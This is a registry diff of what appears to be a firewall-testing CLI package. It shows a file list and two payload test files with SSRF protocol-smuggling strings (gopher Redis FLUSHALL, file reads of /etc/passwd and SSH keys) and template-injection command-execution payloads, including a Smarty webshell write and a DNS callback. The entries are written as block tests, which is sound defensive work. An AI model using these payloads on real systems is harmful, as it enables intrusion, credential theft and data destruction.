@waftester/cli 2.8.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (141) hide show
  1. package/LICENSE +80 -0
  2. package/LICENSE-COMMUNITY +28 -0
  3. package/README.md +121 -0
  4. package/bin/cli.js +152 -0
  5. package/package.json +52 -0
  6. package/payloads/community/README.md +45 -0
  7. package/payloads/community/ai/ml-poisoning.json +173 -0
  8. package/payloads/community/ai/prompt-injection.json +247 -0
  9. package/payloads/community/ai/workflow-abuse.json +222 -0
  10. package/payloads/community/auth/jwt.json +855 -0
  11. package/payloads/community/auth/login-bypass.json +623 -0
  12. package/payloads/community/auth/mfa.json +402 -0
  13. package/payloads/community/auth/oauth.json +421 -0
  14. package/payloads/community/auth/open-redirect.json +1028 -0
  15. package/payloads/community/auth/session.json +404 -0
  16. package/payloads/community/cache/deception.json +402 -0
  17. package/payloads/community/cache/poisoning.json +403 -0
  18. package/payloads/community/deserialization/gadget.json +375 -0
  19. package/payloads/community/deserialization/prototype.json +370 -0
  20. package/payloads/community/fuzz/content-type.json +397 -0
  21. package/payloads/community/fuzz/headers.json +401 -0
  22. package/payloads/community/fuzz/methods.json +397 -0
  23. package/payloads/community/fuzz/obfuscation.json +362 -0
  24. package/payloads/community/fuzz/special-chars.json +740 -0
  25. package/payloads/community/fuzz/waf-bypass.json +452 -0
  26. package/payloads/community/graphql/batching-abuse.json +271 -0
  27. package/payloads/community/graphql/depth-limit.json +271 -0
  28. package/payloads/community/graphql/introspection.json +267 -0
  29. package/payloads/community/injection/crlf.json +569 -0
  30. package/payloads/community/injection/ldap.json +357 -0
  31. package/payloads/community/injection/nosqli.json +529 -0
  32. package/payloads/community/injection/oscmd.json +662 -0
  33. package/payloads/community/injection/rce-polyglots.json +452 -0
  34. package/payloads/community/injection/sqli.json +681 -0
  35. package/payloads/community/injection/ssti.json +584 -0
  36. package/payloads/community/injection/upload-attacks.json +632 -0
  37. package/payloads/community/injection/xpath.json +357 -0
  38. package/payloads/community/injection/xxe.json +716 -0
  39. package/payloads/community/logic/forced-browsing.json +405 -0
  40. package/payloads/community/logic/idor.json +1026 -0
  41. package/payloads/community/logic/privilege.json +337 -0
  42. package/payloads/community/media/exif-injection.json +225 -0
  43. package/payloads/community/media/metadata-poison.json +239 -0
  44. package/payloads/community/protocol/http-smuggling.json +798 -0
  45. package/payloads/community/protocol/http2-attacks.json +382 -0
  46. package/payloads/community/protocol/websocket-abuse.json +375 -0
  47. package/payloads/community/rate-limit/burst-simulation.json +286 -0
  48. package/payloads/community/rate-limit/bypass-attempts.json +326 -0
  49. package/payloads/community/rate-limit/zone-tests.json +332 -0
  50. package/payloads/community/services/authentik.json +415 -0
  51. package/payloads/community/services/immich.json +423 -0
  52. package/payloads/community/services/n8n.json +366 -0
  53. package/payloads/community/sqli-basic.json +182 -0
  54. package/payloads/community/ssrf/cloud-metadata.json +999 -0
  55. package/payloads/community/ssrf/dns-rebinding.json +503 -0
  56. package/payloads/community/ssrf/internal-networks.json +627 -0
  57. package/payloads/community/ssrf/protocol-smuggling.json +350 -0
  58. package/payloads/community/ssti/multi-language-templates.json +191 -0
  59. package/payloads/community/ssti/python-templates.json +200 -0
  60. package/payloads/community/traversal/basic.json +675 -0
  61. package/payloads/community/traversal/cloud-credentials.json +107 -0
  62. package/payloads/community/traversal/config-files.json +193 -0
  63. package/payloads/community/traversal/encoding.json +558 -0
  64. package/payloads/community/traversal/null-byte.json +105 -0
  65. package/payloads/community/traversal/symlink.json +93 -0
  66. package/payloads/community/traversal/unicode.json +134 -0
  67. package/payloads/community/traversal/unix-advanced.json +195 -0
  68. package/payloads/community/traversal/windows-advanced.json +195 -0
  69. package/payloads/community/waf-bypass/cloudflare-bypass.json +102 -0
  70. package/payloads/community/waf-bypass/encoding-bypass.json +120 -0
  71. package/payloads/community/waf-bypass/evasion-techniques.json +164 -0
  72. package/payloads/community/waf-bypass/hpp-bypass.json +92 -0
  73. package/payloads/community/waf-bypass/modsecurity-crs.json +220 -0
  74. package/payloads/community/waf-bypass/protocol-attacks.json +101 -0
  75. package/payloads/community/waf-bypass/sqlmap-tamper.json +252 -0
  76. package/payloads/community/waf-bypass/unicode-charset.json +152 -0
  77. package/payloads/community/waf-bypass/vendor-bypasses.json +72 -0
  78. package/payloads/community/waf-validation/README.md +172 -0
  79. package/payloads/community/waf-validation/bypass-techniques.json +272 -0
  80. package/payloads/community/waf-validation/custom-rules.json +952 -0
  81. package/payloads/community/waf-validation/evasion-techniques.json +272 -0
  82. package/payloads/community/waf-validation/modsecurity-core.json +151 -0
  83. package/payloads/community/waf-validation/owasp-top10.json +236 -0
  84. package/payloads/community/waf-validation/regression-tests.json +227 -0
  85. package/payloads/community/xss/csp-bypass.json +431 -0
  86. package/payloads/community/xss/dom.json +389 -0
  87. package/payloads/community/xss/filter-bypass.json +1242 -0
  88. package/payloads/community/xss/mutation.json +263 -0
  89. package/payloads/community/xss/polyglots.json +371 -0
  90. package/payloads/community/xss/reflected.json +187 -0
  91. package/payloads/community/xss/stored.json +330 -0
  92. package/payloads/crlf-injection.json +182 -0
  93. package/payloads/ids-map.json +155 -0
  94. package/payloads/ldap-injection.json +182 -0
  95. package/payloads/nosql-injection.json +227 -0
  96. package/payloads/prototype-pollution.json +182 -0
  97. package/payloads/request-smuggling.json +182 -0
  98. package/payloads/version.json +28 -0
  99. package/payloads/xss-advanced.json +227 -0
  100. package/templates/README.md +221 -0
  101. package/templates/nuclei/http/waf-bypass/crlf-bypass.yaml +146 -0
  102. package/templates/nuclei/http/waf-bypass/lfi-bypass.yaml +152 -0
  103. package/templates/nuclei/http/waf-bypass/nosqli-bypass.yaml +166 -0
  104. package/templates/nuclei/http/waf-bypass/rce-bypass.yaml +171 -0
  105. package/templates/nuclei/http/waf-bypass/sqli-basic.yaml +142 -0
  106. package/templates/nuclei/http/waf-bypass/sqli-evasion.yaml +192 -0
  107. package/templates/nuclei/http/waf-bypass/ssrf-bypass.yaml +130 -0
  108. package/templates/nuclei/http/waf-bypass/ssti-bypass.yaml +147 -0
  109. package/templates/nuclei/http/waf-bypass/xss-basic.yaml +163 -0
  110. package/templates/nuclei/http/waf-bypass/xss-evasion.yaml +217 -0
  111. package/templates/nuclei/http/waf-bypass/xxe-bypass.yaml +204 -0
  112. package/templates/nuclei/http/waf-detection/akamai-detect.yaml +105 -0
  113. package/templates/nuclei/http/waf-detection/aws-waf-detect.yaml +115 -0
  114. package/templates/nuclei/http/waf-detection/azure-waf-detect.yaml +114 -0
  115. package/templates/nuclei/http/waf-detection/cloudflare-detect.yaml +121 -0
  116. package/templates/nuclei/http/waf-detection/modsecurity-detect.yaml +129 -0
  117. package/templates/nuclei/workflows/waf-assessment-workflow.yaml +71 -0
  118. package/templates/output/asff.tmpl +61 -0
  119. package/templates/output/csv.tmpl +4 -0
  120. package/templates/output/junit.tmpl +34 -0
  121. package/templates/output/markdown-report.tmpl +92 -0
  122. package/templates/output/slack-notification.tmpl +95 -0
  123. package/templates/output/text-summary.tmpl +56 -0
  124. package/templates/overrides/api-only.yaml +130 -0
  125. package/templates/overrides/crs-tuning.yaml +204 -0
  126. package/templates/overrides/false-positive-suppression.yaml +159 -0
  127. package/templates/policies/owasp-top10.yaml +152 -0
  128. package/templates/policies/pci-dss.yaml +124 -0
  129. package/templates/policies/permissive.yaml +40 -0
  130. package/templates/policies/standard.yaml +57 -0
  131. package/templates/policies/strict.yaml +72 -0
  132. package/templates/report-configs/compliance.yaml +173 -0
  133. package/templates/report-configs/dark.yaml +136 -0
  134. package/templates/report-configs/enterprise.yaml +175 -0
  135. package/templates/report-configs/minimal.yaml +84 -0
  136. package/templates/report-configs/print.yaml +139 -0
  137. package/templates/workflows/api-scan.yaml +132 -0
  138. package/templates/workflows/ci-gate.yaml +129 -0
  139. package/templates/workflows/full-scan.yaml +133 -0
  140. package/templates/workflows/quick-probe.yaml +80 -0
  141. package/templates/workflows/waf-detection.yaml +89 -0
@@ -0,0 +1,350 @@
1
+ [
2
+ {
3
+ "id": "SSRF-PROTO-001",
4
+ "payload": "gopher://localhost:25/_MAIL%20FROM:<admin@example.com>",
5
+ "tags": [
6
+ "gopher",
7
+ "smtp",
8
+ "quick",
9
+ "critical"
10
+ ],
11
+ "expected_block": true,
12
+ "severity_hint": "Critical",
13
+ "notes": "Gopher protocol SMTP smuggling",
14
+ "category": "SSRF"
15
+ },
16
+ {
17
+ "id": "SSRF-PROTO-002",
18
+ "payload": "gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a",
19
+ "tags": [
20
+ "gopher",
21
+ "redis",
22
+ "quick",
23
+ "critical"
24
+ ],
25
+ "expected_block": true,
26
+ "severity_hint": "Critical",
27
+ "notes": "Gopher protocol Redis FLUSHALL command",
28
+ "category": "SSRF"
29
+ },
30
+ {
31
+ "id": "SSRF-PROTO-003",
32
+ "payload": "gopher://127.0.0.1:11211/_set%20test%200%200%205%0d%0ahello%0d%0a",
33
+ "tags": [
34
+ "gopher",
35
+ "memcached",
36
+ "quick"
37
+ ],
38
+ "expected_block": true,
39
+ "severity_hint": "Critical",
40
+ "notes": "Gopher protocol Memcached injection",
41
+ "category": "SSRF"
42
+ },
43
+ {
44
+ "id": "SSRF-PROTO-004",
45
+ "payload": "dict://localhost:11211/stat",
46
+ "tags": [
47
+ "dict",
48
+ "memcached",
49
+ "quick"
50
+ ],
51
+ "expected_block": true,
52
+ "severity_hint": "High",
53
+ "notes": "DICT protocol Memcached stats",
54
+ "category": "SSRF"
55
+ },
56
+ {
57
+ "id": "SSRF-PROTO-005",
58
+ "payload": "dict://127.0.0.1:6379/info",
59
+ "tags": [
60
+ "dict",
61
+ "redis",
62
+ "quick"
63
+ ],
64
+ "expected_block": true,
65
+ "severity_hint": "High",
66
+ "notes": "DICT protocol Redis info",
67
+ "category": "SSRF"
68
+ },
69
+ {
70
+ "id": "SSRF-PROTO-006",
71
+ "payload": "file:///etc/passwd",
72
+ "tags": [
73
+ "file",
74
+ "local-file",
75
+ "quick",
76
+ "critical"
77
+ ],
78
+ "expected_block": true,
79
+ "severity_hint": "Critical",
80
+ "notes": "File protocol local file read (Unix)",
81
+ "category": "SSRF"
82
+ },
83
+ {
84
+ "id": "SSRF-PROTO-007",
85
+ "payload": "file://c:/windows/win.ini",
86
+ "tags": [
87
+ "file",
88
+ "local-file",
89
+ "windows"
90
+ ],
91
+ "expected_block": true,
92
+ "severity_hint": "Critical",
93
+ "notes": "File protocol local file read (Windows)",
94
+ "category": "SSRF"
95
+ },
96
+ {
97
+ "id": "SSRF-PROTO-008",
98
+ "payload": "file:///proc/self/environ",
99
+ "tags": [
100
+ "file",
101
+ "proc",
102
+ "quick"
103
+ ],
104
+ "expected_block": true,
105
+ "severity_hint": "Critical",
106
+ "notes": "File protocol proc filesystem access",
107
+ "category": "SSRF"
108
+ },
109
+ {
110
+ "id": "SSRF-PROTO-009",
111
+ "payload": "ldap://localhost:389/dc=example,dc=com?cn,mail?sub?(objectClass=*)",
112
+ "tags": [
113
+ "ldap",
114
+ "quick"
115
+ ],
116
+ "expected_block": true,
117
+ "severity_hint": "High",
118
+ "notes": "LDAP protocol query",
119
+ "category": "SSRF"
120
+ },
121
+ {
122
+ "id": "SSRF-PROTO-010",
123
+ "payload": "ldaps://127.0.0.1:636/",
124
+ "tags": [
125
+ "ldap",
126
+ "ssl"
127
+ ],
128
+ "expected_block": true,
129
+ "severity_hint": "High",
130
+ "notes": "LDAPS (secure LDAP) protocol",
131
+ "category": "SSRF"
132
+ },
133
+ {
134
+ "id": "SSRF-PROTO-011",
135
+ "payload": "tftp://localhost:69/config.txt",
136
+ "tags": [
137
+ "tftp"
138
+ ],
139
+ "expected_block": true,
140
+ "severity_hint": "High",
141
+ "notes": "TFTP protocol file retrieval",
142
+ "category": "SSRF"
143
+ },
144
+ {
145
+ "id": "SSRF-PROTO-012",
146
+ "payload": "ftp://anonymous:password@localhost:21/",
147
+ "tags": [
148
+ "ftp",
149
+ "quick"
150
+ ],
151
+ "expected_block": true,
152
+ "severity_hint": "High",
153
+ "notes": "FTP protocol with credentials",
154
+ "category": "SSRF"
155
+ },
156
+ {
157
+ "id": "SSRF-PROTO-013",
158
+ "payload": "sftp://127.0.0.1:22/root/.ssh/id_rsa",
159
+ "tags": [
160
+ "sftp",
161
+ "ssh-keys"
162
+ ],
163
+ "expected_block": true,
164
+ "severity_hint": "Critical",
165
+ "notes": "SFTP protocol SSH key access",
166
+ "category": "SSRF"
167
+ },
168
+ {
169
+ "id": "SSRF-PROTO-014",
170
+ "payload": "jar:http://localhost:8080/app.jar!/META-INF/MANIFEST.MF",
171
+ "tags": [
172
+ "jar",
173
+ "java"
174
+ ],
175
+ "expected_block": true,
176
+ "severity_hint": "High",
177
+ "notes": "JAR protocol Java archive access",
178
+ "category": "SSRF"
179
+ },
180
+ {
181
+ "id": "SSRF-PROTO-015",
182
+ "payload": "netdoc:///etc/hosts",
183
+ "tags": [
184
+ "netdoc",
185
+ "java"
186
+ ],
187
+ "expected_block": true,
188
+ "severity_hint": "High",
189
+ "notes": "Netdoc protocol (Java-specific)",
190
+ "category": "SSRF"
191
+ },
192
+ {
193
+ "id": "SSRF-PROTO-016",
194
+ "payload": "gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00",
195
+ "tags": [
196
+ "gopher",
197
+ "mysql",
198
+ "handshake"
199
+ ],
200
+ "expected_block": true,
201
+ "severity_hint": "Critical",
202
+ "notes": "Gopher protocol MySQL handshake marker",
203
+ "category": "SSRF"
204
+ },
205
+ {
206
+ "id": "SSRF-PROTO-017",
207
+ "payload": "gopher://127.0.0.1:5432/_",
208
+ "tags": [
209
+ "gopher",
210
+ "postgresql"
211
+ ],
212
+ "expected_block": true,
213
+ "severity_hint": "High",
214
+ "notes": "Gopher protocol PostgreSQL connection attempt",
215
+ "category": "SSRF"
216
+ },
217
+ {
218
+ "id": "SSRF-PROTO-018",
219
+ "payload": "gopher://127.0.0.1:27017/_",
220
+ "tags": [
221
+ "gopher",
222
+ "mongodb"
223
+ ],
224
+ "expected_block": true,
225
+ "severity_hint": "High",
226
+ "notes": "Gopher protocol MongoDB connection attempt",
227
+ "category": "SSRF"
228
+ },
229
+ {
230
+ "id": "SSRF-PROTO-019",
231
+ "payload": "gopher://127.0.0.1:9200/_GET%20/_cluster/health",
232
+ "tags": [
233
+ "gopher",
234
+ "elasticsearch"
235
+ ],
236
+ "expected_block": true,
237
+ "severity_hint": "High",
238
+ "notes": "Gopher protocol Elasticsearch query",
239
+ "category": "SSRF"
240
+ },
241
+ {
242
+ "id": "SSRF-PROTO-020",
243
+ "payload": "data:text/html,<script>alert('XSS')</script>",
244
+ "tags": [
245
+ "data-uri",
246
+ "xss"
247
+ ],
248
+ "expected_block": true,
249
+ "severity_hint": "High",
250
+ "notes": "Data URI with embedded script",
251
+ "category": "SSRF"
252
+ },
253
+ {
254
+ "id": "SSRF-PROTO-021",
255
+ "payload": "data:application/x-sh;base64,Y2F0IC9ldGMvcGFzc3dk",
256
+ "tags": [
257
+ "data-uri",
258
+ "base64",
259
+ "shell"
260
+ ],
261
+ "expected_block": true,
262
+ "severity_hint": "Critical",
263
+ "notes": "Data URI with base64-encoded shell command",
264
+ "category": "SSRF"
265
+ },
266
+ {
267
+ "id": "SSRF-PROTO-022",
268
+ "payload": "php://filter/convert.base64-encode/resource=/etc/passwd",
269
+ "tags": [
270
+ "php-wrapper",
271
+ "lfi"
272
+ ],
273
+ "expected_block": true,
274
+ "severity_hint": "Critical",
275
+ "notes": "PHP filter wrapper for LFI",
276
+ "category": "SSRF"
277
+ },
278
+ {
279
+ "id": "SSRF-PROTO-023",
280
+ "payload": "expect://id",
281
+ "tags": [
282
+ "php-wrapper",
283
+ "rce"
284
+ ],
285
+ "expected_block": true,
286
+ "severity_hint": "Critical",
287
+ "notes": "PHP expect wrapper for command execution",
288
+ "category": "SSRF"
289
+ },
290
+ {
291
+ "id": "SSRF-PROTO-024",
292
+ "payload": "zip://archive.zip#shell.php",
293
+ "tags": [
294
+ "zip-wrapper",
295
+ "php"
296
+ ],
297
+ "expected_block": true,
298
+ "severity_hint": "High",
299
+ "notes": "ZIP wrapper file access",
300
+ "category": "SSRF"
301
+ },
302
+ {
303
+ "id": "SSRF-PROTO-025",
304
+ "payload": "phar://archive.phar/malicious.php",
305
+ "tags": [
306
+ "phar-wrapper",
307
+ "php"
308
+ ],
309
+ "expected_block": true,
310
+ "severity_hint": "High",
311
+ "notes": "PHAR wrapper archive access",
312
+ "category": "SSRF"
313
+ },
314
+ {
315
+ "id": "SSRF-PROTO-026",
316
+ "payload": "gopher://localhost:9000/_GET%20/status%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0a",
317
+ "tags": [
318
+ "gopher",
319
+ "http-smuggling"
320
+ ],
321
+ "expected_block": true,
322
+ "severity_hint": "Critical",
323
+ "notes": "Gopher protocol HTTP request smuggling",
324
+ "category": "SSRF"
325
+ },
326
+ {
327
+ "id": "SSRF-PROTO-027",
328
+ "payload": "file:///dev/null",
329
+ "tags": [
330
+ "file",
331
+ "device"
332
+ ],
333
+ "expected_block": true,
334
+ "severity_hint": "Medium",
335
+ "notes": "File protocol device access",
336
+ "category": "SSRF"
337
+ },
338
+ {
339
+ "id": "SSRF-PROTO-028",
340
+ "payload": "dict://localhost:8080/",
341
+ "tags": [
342
+ "dict",
343
+ "http-alt-port"
344
+ ],
345
+ "expected_block": true,
346
+ "severity_hint": "Medium",
347
+ "notes": "DICT protocol to HTTP alternative port",
348
+ "category": "SSRF"
349
+ }
350
+ ]
@@ -0,0 +1,191 @@
1
+ [
2
+ {
3
+ "id": "ssti-twig-001",
4
+ "payload": "{{['id']|filter('system')}}",
5
+ "tags": ["ssti", "twig", "php", "rce"],
6
+ "expected_block": true,
7
+ "severity_hint": "critical",
8
+ "notes": "Twig RCE via filter callback",
9
+ "category": "Injection"
10
+ },
11
+ {
12
+ "id": "ssti-twig-002",
13
+ "payload": "{{[0]|reduce('system','id')}}",
14
+ "tags": ["ssti", "twig", "php", "rce"],
15
+ "expected_block": true,
16
+ "severity_hint": "critical",
17
+ "notes": "Twig RCE via reduce callback",
18
+ "category": "Injection"
19
+ },
20
+ {
21
+ "id": "ssti-twig-003",
22
+ "payload": "{{_self.env.registerUndefinedFilterCallback(\"exec\")}}{{_self.env.getFilter(\"id\")}}",
23
+ "tags": ["ssti", "twig", "php", "rce"],
24
+ "expected_block": true,
25
+ "severity_hint": "critical",
26
+ "notes": "Twig RCE via undefined filter callback (older versions)",
27
+ "category": "Injection"
28
+ },
29
+ {
30
+ "id": "ssti-twig-004",
31
+ "payload": "{{'/etc/passwd'|file_excerpt(1,30)}}",
32
+ "tags": ["ssti", "twig", "php", "lfi"],
33
+ "expected_block": true,
34
+ "severity_hint": "high",
35
+ "notes": "Twig file read via file_excerpt filter",
36
+ "category": "Injection"
37
+ },
38
+ {
39
+ "id": "ssti-blade-001",
40
+ "payload": "{{passthru(implode(null,array_map(chr(99).chr(104).chr(114),[105,100])))}}",
41
+ "tags": ["ssti", "blade", "laravel", "php", "rce"],
42
+ "expected_block": true,
43
+ "severity_hint": "critical",
44
+ "notes": "Laravel Blade RCE via chr obfuscation",
45
+ "category": "Injection"
46
+ },
47
+ {
48
+ "id": "ssti-smarty-001",
49
+ "payload": "{php}echo `id`;{/php}",
50
+ "tags": ["ssti", "smarty", "php", "rce"],
51
+ "expected_block": true,
52
+ "severity_hint": "critical",
53
+ "notes": "Smarty PHP tag RCE (older versions)",
54
+ "category": "Injection"
55
+ },
56
+ {
57
+ "id": "ssti-smarty-002",
58
+ "payload": "{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,\"<?php passthru($_GET['c']); ?>\",self::clearConfig())}",
59
+ "tags": ["ssti", "smarty", "php", "rce"],
60
+ "expected_block": true,
61
+ "severity_hint": "critical",
62
+ "notes": "Smarty write webshell to file",
63
+ "category": "Injection"
64
+ },
65
+ {
66
+ "id": "ssti-latte-001",
67
+ "payload": "{php system('nslookup oastify.com')}",
68
+ "tags": ["ssti", "latte", "php", "rce"],
69
+ "expected_block": true,
70
+ "severity_hint": "critical",
71
+ "notes": "Latte template RCE",
72
+ "category": "Injection"
73
+ },
74
+ {
75
+ "id": "ssti-freemarker-001",
76
+ "payload": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"id\")}",
77
+ "tags": ["ssti", "freemarker", "java", "rce"],
78
+ "expected_block": true,
79
+ "severity_hint": "critical",
80
+ "notes": "Freemarker RCE via Execute utility",
81
+ "category": "Injection"
82
+ },
83
+ {
84
+ "id": "ssti-freemarker-002",
85
+ "payload": "[#assign ex='freemarker.template.utility.Execute'?new()]${ex('id')}",
86
+ "tags": ["ssti", "freemarker", "java", "rce"],
87
+ "expected_block": true,
88
+ "severity_hint": "critical",
89
+ "notes": "Freemarker RCE alternate syntax",
90
+ "category": "Injection"
91
+ },
92
+ {
93
+ "id": "ssti-freemarker-003",
94
+ "payload": "${\"freemarker.template.utility.Execute\"?new()(\"id\")}",
95
+ "tags": ["ssti", "freemarker", "java", "rce"],
96
+ "expected_block": true,
97
+ "severity_hint": "critical",
98
+ "notes": "Freemarker RCE compact syntax",
99
+ "category": "Injection"
100
+ },
101
+ {
102
+ "id": "ssti-velocity-001",
103
+ "payload": "#set($x='')##$x.class.forName('java.lang.Runtime').getRuntime().exec('id')",
104
+ "tags": ["ssti", "velocity", "java", "rce"],
105
+ "expected_block": true,
106
+ "severity_hint": "critical",
107
+ "notes": "Velocity RCE via Runtime class",
108
+ "category": "Injection"
109
+ },
110
+ {
111
+ "id": "ssti-velocity-002",
112
+ "payload": "#set($s='')#set($rt=$s.class.forName('java.lang.Runtime'))#set($chr=$s.class.forName('java.lang.Character'))#set($str=$s.class.forName('java.lang.String'))#set($ex=$rt.getRuntime().exec('id'))$ex.waitFor()#set($out=$ex.getInputStream())#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end",
113
+ "tags": ["ssti", "velocity", "java", "rce"],
114
+ "expected_block": true,
115
+ "severity_hint": "critical",
116
+ "notes": "Velocity RCE with output",
117
+ "category": "Injection"
118
+ },
119
+ {
120
+ "id": "ssti-pug-001",
121
+ "payload": "#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}",
122
+ "tags": ["ssti", "pug", "jade", "nodejs", "rce"],
123
+ "expected_block": true,
124
+ "severity_hint": "critical",
125
+ "notes": "Pug/Jade RCE via process.mainModule",
126
+ "category": "Injection"
127
+ },
128
+ {
129
+ "id": "ssti-pug-002",
130
+ "payload": "- global.process.mainModule.require('child_process').execSync('id').toString()",
131
+ "tags": ["ssti", "pug", "jade", "nodejs", "rce"],
132
+ "expected_block": true,
133
+ "severity_hint": "critical",
134
+ "notes": "Pug RCE via global.process",
135
+ "category": "Injection"
136
+ },
137
+ {
138
+ "id": "ssti-ejs-001",
139
+ "payload": "<%- global.process.mainModule.require('child_process').execSync('id').toString() %>",
140
+ "tags": ["ssti", "ejs", "nodejs", "rce"],
141
+ "expected_block": true,
142
+ "severity_hint": "critical",
143
+ "notes": "EJS RCE via global.process",
144
+ "category": "Injection"
145
+ },
146
+ {
147
+ "id": "ssti-nunjucks-001",
148
+ "payload": "{{range.constructor('return global.process.mainModule.require(\"child_process\").execSync(\"id\").toString()')()}}",
149
+ "tags": ["ssti", "nunjucks", "nodejs", "rce"],
150
+ "expected_block": true,
151
+ "severity_hint": "critical",
152
+ "notes": "Nunjucks RCE via constructor trick",
153
+ "category": "Injection"
154
+ },
155
+ {
156
+ "id": "ssti-handlebars-001",
157
+ "payload": "{{#with \"s\" as |string|}}\n {{#with \"e\"}}\n {{#with split as |conslist|}}\n {{this.pop}}\n {{this.push (lookup string.sub \"constructor\")}}\n {{this.pop}}\n {{#with string.split as |codelist|}}\n {{this.pop}}\n {{this.push \"return require('child_process').execSync('id');\"}}\n {{this.pop}}\n {{#each conslist}}\n {{#with (string.sub.apply 0 codelist)}}\n {{this}}\n {{/with}}\n {{/each}}\n {{/with}}\n {{/with}}\n {{/with}}\n{{/with}}",
158
+ "tags": ["ssti", "handlebars", "nodejs", "rce"],
159
+ "expected_block": true,
160
+ "severity_hint": "critical",
161
+ "notes": "Handlebars RCE via prototype chain",
162
+ "category": "Injection"
163
+ },
164
+ {
165
+ "id": "ssti-groovy-001",
166
+ "payload": "${'id'.execute().text}",
167
+ "tags": ["ssti", "groovy", "java", "rce"],
168
+ "expected_block": true,
169
+ "severity_hint": "critical",
170
+ "notes": "Groovy GString RCE",
171
+ "category": "Injection"
172
+ },
173
+ {
174
+ "id": "ssti-spel-001",
175
+ "payload": "${T(java.lang.Runtime).getRuntime().exec('id')}",
176
+ "tags": ["ssti", "spel", "spring", "java", "rce"],
177
+ "expected_block": true,
178
+ "severity_hint": "critical",
179
+ "notes": "Spring Expression Language RCE",
180
+ "category": "Injection"
181
+ },
182
+ {
183
+ "id": "ssti-jinjava-001",
184
+ "payload": "{{'a]'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\\\"new java.lang.String('id')\\\"}}",
185
+ "tags": ["ssti", "jinjava", "java", "rce"],
186
+ "expected_block": true,
187
+ "severity_hint": "critical",
188
+ "notes": "Jinjava (HubSpot) RCE via JavaScript engine",
189
+ "category": "Injection"
190
+ }
191
+ ]